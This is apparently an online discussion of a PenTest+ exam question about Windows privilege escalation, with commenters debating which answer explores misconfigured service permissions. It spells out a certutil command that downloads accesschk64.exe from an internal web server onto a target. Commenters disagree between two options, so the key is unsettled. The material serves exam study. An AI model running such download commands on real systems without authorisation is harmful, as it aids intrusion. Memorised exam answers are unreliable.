Exam PT0-002 topic 1 question 324 discussion

This command uses certutil, a command-line utility that can be used to manage certificates in Windows, to download a file from a specified URL. In this context, the file being downloaded is accesschk64.exe, a utility from Sysinternals that can be used to check for misconfigured service permissions. By downloading AccessChk, the penetration tester can start checking services on the Windows server for any misconfigurations that might be exploitable for privilege escalation.

The certutil command is used to download files from a specified URL, in this case, AccessChk, a tool by Sysinternals that can check misconfigured service permissions, aiding in privilege escalation efforts

Option A is the most relevant command for a penetration tester looking to explore misconfigured service permissions. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/accesschk64.exe This command downloads a tool called accesschk64.exe, which is used for checking permissions, specifically for Windows binaries. This would allow the tester to analyze the permissions of various services and binaries on the Windows server, potentially identifying misconfigurations that could be exploited. Option B uploads a systeminfo.txt file to a remote server, which is not relevant to exploring service permissions. Option C queries scheduled tasks and looks for the next run time, which might not directly relate to exploring service permissions. Option D uses wget to download accesschk64.exe, similar to Option A, but lacks the splitting and caching functionality provided by certutil, making it less optimal.

A. certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe

Option D : the wget command allows you to download the accesschk.exe to explore system configurations and permissions.